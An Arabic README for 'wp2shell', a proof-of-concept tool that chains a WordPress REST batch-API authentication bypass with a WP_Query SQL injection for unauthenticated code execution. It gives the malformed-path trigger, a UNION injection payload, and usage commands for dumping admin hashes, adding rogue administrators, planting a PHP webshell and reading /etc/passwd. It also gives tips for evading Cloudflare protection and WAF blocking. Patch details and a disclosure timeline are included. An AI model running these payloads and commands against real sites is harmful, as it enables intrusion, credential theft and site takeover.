RCE قبل المصادقة كإثبات مفهوم يربط تجاوز مصادقة WordPress REST batch API مع حقن SQL في WP_Query لاستخراج التجزئات، أو إضافة مستخدمين إداريين، أو زرع webshell.
إثبات مفهوم تنفيذ الأوامر عن بُعد قبل المصادقة - CVE-2026-63030 + CVE-2026-60137 WordPress 6.9.0–6.9.4 / 7.0.0–7.0.1
لاختبار الاختراق المصرّح به والبحث الأمني فقط. تشغيل هذا ضد أنظمة بدون تصريح كتابي غير قانوني. لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام.
wp2shell هو إثبات مفهوم للاستغلال يربط بين ثغرتين تم الإبلاغ عنهما بشكل مستقل لتحقيق تنفيذ أوامر عن بُعد بدون مصادقة على تثبيتات WordPress غير المُرقّعة.
| CVE | المكوّن | الفئة | المصادقة المطلوبة |
|---|
| CVE-2026-63030 | REST Batch API (WP_REST_Server) | عدم تزامن المصفوفة → تجاوز المصادقة | لا شيء |
| CVE-2026-60137 | WP_Query | حقن SQL عبر author__not_in | لا شيء (يتم تجاوزه بواسطة ما سبق) |
النتيجة النهائية: صدفة (shell) على الجهاز، أو حساب مسؤول مارق، أو تفريغ تجزئة بيانات الاعتماد — كل ذلك من طلب POST واحد بدون مصادقة.
الإصدارات المتأثرة: WordPress 6.9.0, 6.9.1, 6.9.2, 6.9.3, 6.9.4, 7.0.0, 7.0.1 تم الإصلاح في: WordPress 6.9.5 / 7.0.2 (تم إصدار الترقيع بالتزامن مع الإفصاح المنسّق)
قدّم WordPress 5.6 نقطة نهاية معالجة الدفعات على /wp-json/batch/v1. تسمح لعملاء REST المُصادَق عليهم بتجميع عدة طلبات فرعية في رحلة ذهاب وإياب HTTP واحدة. يتم التحقق من كل طلب فرعي وإرساله بشكل مستقل بواسطة WP_REST_Server::serve_batch_request_v1().
داخل serve_batch_request_v1() (مبسّط):
$requests = $data['requests'];
$responses = [];
$matches = [];
// === Loop 1: Validate ===
foreach ($requests as $i => $request) {
$parsed = wp_parse_url($request['path']);
if (is_wp_error($parsed) || $parsed === false) {
// Failure: append WP_Error to $responses — but NOT to $matches
$responses[] = $this->envelope_response(new WP_Error(...), false);
continue; // <─── skips the push to $matches
}
// Success: resolve auth/permissions for this path
$match = $this->match_route($parsed['path'], $request['method']);
$matches[] = $match; // <─── stored at array-sequential index
$responses[] = null; // <─── placeholder at same index
}
// === Loop 2: Dispatch ===
foreach ($matches as $j => $match) {
// $j starts at 0 — but if request[0] failed, $matches[0] is actually request[1]
$responses[$j] = $this->dispatch($match); // <─── dispatches with wrong context
}
يُتوقع أن تبقى المصفوفتان ($responses و $matches) متزامنتين — إدخال واحد لكل طلب فرعي، بنفس الفهرس. عندما يفشل الطلب الفرعي [0] في wp_parse_url()، يضيف إدخالاً إلى $responses ولكن ليس إلى $matches. بعد الحلقة الأولى:
$responses = [ WP_Error, null ] ← index 0 = error, index 1 = placeholder
$matches = [ match_for_req1 ] ← index 0 = match for request[1]
ثم ترسل الحلقة الثانية $matches[0] وتكتب النتيجة في $responses[0]. إنها ترسل الطلب[1] ولكنها تستبدل الفهرس 0 في الاستجابات — والأهم من ذلك، أنها تستخدم سياق الأذونات الذي تم حسابه كجزء من معالجة خطأ الطلب[0] الفاشل، وليس سياق الأذونات لنقطة النهاية المستهدفة.
التأثير العملي: يمكن استدعاء أي نقطة نهاية تتطلب مصادقة (بما في ذلك نقاط النهاية التي تنفذ استعلامات SQL) بدون بيانات اعتماد.
"path": "://\x00" # triggers wp_parse_url() → false
السلسلة ://\x00 هي سلسلة Python صالحة ولكنها URL غير صالح في غلاف wp_parse_url() الخاص بـ PHP (تتسبب البايت الفارغة في فشل التحليل، مما يُرجع false بدلاً من WP_Error، مما يجعل حارس is_wp_error() عديم الفائدة — فقط $parsed === false يلتقطه، وقد تم كسر محاذاة المصفوفة بالفعل عند هذه النقطة).
author__not_in الخاص بـ WP_Queryتعرض واجهة WordPress REST API للمنشورات (/wp/v2/posts) معامل استعلام author_exclude الذي يُعيّن مباشرة إلى وسيطة author__not_in الخاصة بـ WP_Query. WP_Query هو تجريد قاعدة البيانات الأساسي المستخدم في كل استعلام محتوى تقريبًا في WordPress.
في WP_Query::parse_query() (مبسّط):
$author__not_in = $this->get('author__not_in');
if (is_array($author__not_in)) {
$author__not_in = array_map('absint', $author__not_in);
// absint() converts every element to a safe non-negative integer
}
// If NOT an array → this block is skipped entirely
// $author__not_in is used verbatim in the query builder:
لاحقًا في WP_Query::get_posts():
if (!empty($author__not_in)) {
$where .= " AND {$wpdb->posts}.post_author NOT IN ({$author__not_in})";
// ^^^^^^^^^^^^^^^^
// raw string dropped into SQL with no escaping
}
يُفعّل التعقيم فقط عندما يكون $author__not_in مصفوفة. يحدد نظام أنواع PHP ذلك بناءً على كيفية وصول القيمة:
[1, 2, 3] → is_array() = true → يتم التعقيم"1,2,3" (سلسلة) → is_array() = false → لا يتم التعقيمتقبل نقطة نهاية REST قيمة author_exclude من سلسلة استعلام URL. تصل كسلسلة. يتخطى WP_Query كتلة التعقيم، ويتم إدراج القيمة الخام في جملة WHERE الخاصة بـ SQL.
تقع نقطة الحقن داخل سياق NOT IN (...):
-- Normal query:
WHERE post_author NOT IN (1)
-- With payload: 0 UNION SELECT ...
WHERE post_author NOT IN (0 UNION SELECT ...)
نظرًا لأن نقطة نهاية الدفعات ترسل الطلب الفرعي كجزء من نتيجة استعلام أكبر، يتم إرجاع صفوف UNION في جسم استجابة REST JSON، مما يجعل هذا استخراجًا بدون حاجة إلى Boolean/UNION أعمى — لا توقيت، ولا نطاق خارجي مطلوب.
Attacker (no credentials)
│
▼
POST /wp-json/batch/v1
{
"requests": [
{ "path": "://\x00", "method": "GET" }, ← [1] malformed URL: triggers desync
{ "path": "/wp/v2/posts?author_exclude=
0 UNION SELECT ... FROM wp_users-- -", ← [2] SQLi payload
"method": "GET" }
]
}
│
▼
WP_REST_Server::serve_batch_request_v1()
├─ Request[0] fails wp_parse_url() → $responses[0] = WP_Error
│ NO push to $matches
├─ Request[1] matches route → $matches[0] = route
└─ Loop 2 dispatches $matches[0] with wrong auth context
│
▼
WP_Query receives author__not_in = "0 UNION SELECT ..."
├─ is_array() = false → sanitization skipped
└─ Raw SQL: WHERE post_author NOT IN (0 UNION SELECT ...)
│
▼
MySQL executes UNION query → wp_users data in SELECT result
│
▼
REST JSON response contains user_login + user_pass in post fields
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Post-exploitation (any of): │
│ • Dump admin hash → crack offline with hashcat │
│ • INSERT rogue admin via stacked queries │
│ • SELECT ... INTO OUTFILE → PHP webshell → OS access │
└─────────────────────────────────────────────────────────────┘
Python >= 3.8
requests
cloudscraper
تثبيت التبعيات:
pip install requests cloudscraper
usage: wp2shell.py [-h] [--mode {detect,dump,adduser,shell}]
[--cmd CMD] [--user USER] [--password PASSWORD]
[--prefix PREFIX] [--proxy PROXY]
[--no-interactive] [--debug] [--cookie COOKIE]
target
| الوضع | ما يفعله |
|---|---|
detect | بصمة إصدار WP والتحقق من وجود نقطة نهاية الدفعات. بدون استغلال. |
dump | استخراج تجزئة كلمة مرور المسؤول عبر UNION SQLi. |
adduser | إنشاء حساب مسؤول جديد عبر استعلامات INSERT المكدسة. |
shell | زرع صدفة PHP عبر SELECT INTO OUTFILE، ثم الانتقال إلى صدفة تفاعلية. |
الكشف فقط — آمن للتشغيل أثناء تحديد النطاق:
python3 wp2shell.py https://target.com --mode detect
تفريغ تجزئة المسؤول:
python3 wp2shell.py https://target.com --mode dump
التفريغ مع مخرجات التصحيح (يُظهر استجابات HTTP الخام — مفيد عند وجود WAF):
python3 wp2shell.py https://target.com --mode dump --debug
إنشاء حساب مسؤول مارق:
python3 wp2shell.py https://target.com --mode adduser --user pentest_admin --password 'S3cur3P@ss!'
زرع صدفة والانتقال إلى موجه تفاعلي:
python3 wp2shell.py https://target.com --mode shell
تنفيذ أمر لمرة واحدة (غير تفاعلي):
python3 wp2shell.py https://target.com --mode shell --no-interactive --cmd "cat /etc/passwd"
عبر وكيل Burp:
python3 wp2shell.py https://target.com --mode dump --proxy http://127.0.0.1:8080
تجاوز Cloudflare باستخدام ملف تعريف cf_clearance موجود:
python3 wp2shell.py https://target.com --mode dump --cookie "cf_clearance=<value>"
بادئة جدول غير افتراضية:
python3 wp2shell.py https://target.com --mode dump --prefix staging_
تستخدم الأداة cloudscraper افتراضيًا، والتي تحاكي بصمة TLS الخاصة بـ Chrome وتحل تحدي JavaScript الخاص بـ Cloudflare تلقائيًا (وضع iuam). يغطي هذا معظم أهداف الاستضافة المشتركة خلف Cloudflare.
إذا كان الهدف يستخدم إدارة الروبوتات الخاصة بـ Cloudflare (__cf_bm) أو لديك بالفعل ملف تعريف تحدي محلول، فمرّره باستخدام --cookie "cf_clearance=..." لاستخدام جلسة requests عادية بدلاً من ذلك.
تحتوي نقطة نهاية الدفعات على مسارين مسجلين. غالبًا ما تحظر قواعد WAF المسار القياسي (/wp-json/batch/v1) ولكنها تفوّت مسار معامل الاستعلام القديم (/?rest_route=/batch/v1). تفحص الأداة كليهما تلقائيًا.
[-] Could not extract credentials
--debug لرؤية استجابة JSON الخام.--prefix. تستخدم العديد من التثبيتات wp_ (الافتراضي)؛ بعضها يستخدم بادئات مخصصة.content.rendered الخاص بالهدف مُرشّحًا. جرّب --mode adduser بدلاً من ذلك.[-] OUTFILE failed
SELECT INTO OUTFILE امتياز FILE الخاص بـ MySQL على مستخدم قاعدة البيانات. هذا شائع في الاستضافة المشتركة ولكن عادةً ما يكون معطلاً في السحابة/قواعد البيانات المُدارة (RDS، Cloud SQL، إلخ).--mode dump لقراءة المسار من ملفات التكوين.[-] Target does not appear vulnerable
GET /wp-json/ وابحث عن /batch/v1 في مفتاح routes.عالج WordPress 6.9.5 / 7.0.2 كلا الثغرتين:
CVE-2026-63030: يحتفظ serve_batch_request_v1() الآن بمصفوفة موحدة واحدة لكل من بيانات المطابقة والاستجابات، مما يلغي عدم تزامن الفهرس. يتم تتبع الطلبات الفاشلة بالفهرس في البنية الموحدة.
CVE-2026-60137: يقوم WP_Query::parse_query() الآن بتحويل author__not_in إلى مصفوفة بشكل غير مشروط قبل التعقيم، بغض النظر عن نوع الإدخال:
$author__not_in = array_map('absint', (array) $author__not_in);
| CVE | الدرجة | المتجه |
|---|---|---|
| CVE-2026-63030 | 9.8 حرجة | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CVE-2026-60137 | 9.8 حرجة | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| التاريخ | الحدث |
|---|---|
| 2026-05-14 | اكتشاف CVE-2026-60137 أثناء مهمة اختبار اختراق |
| 2026-05-19 | اكتشاف CVE-2026-63030؛ تأكيد السلسلة كتنفيذ أوامر عن بُعد قبل المصادقة |
| 2026-05-22 | الإبلاغ عن كلا الثغرتين لفريق أمان WordPress عبر HackerOne |
| 2026-06-03 | يؤكد فريق أمان WordPress ويبدأ تطوير الترقيع |
| 2026-07-08 | إصدار الترقيعات (WP 6.9.5 / 7.0.2) بالتزامن مع الإفصاح المنسّق |
| 2026-07-22 | نشر إثبات المفهوم |
تُقدَّم هذه الأداة لاختبار الأمان المصرّح به والبحث فقط.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND.
USE AT YOUR OWN RISK. FOR AUTHORIZED TESTING ONLY.
ترخيص MIT — انظر LICENSE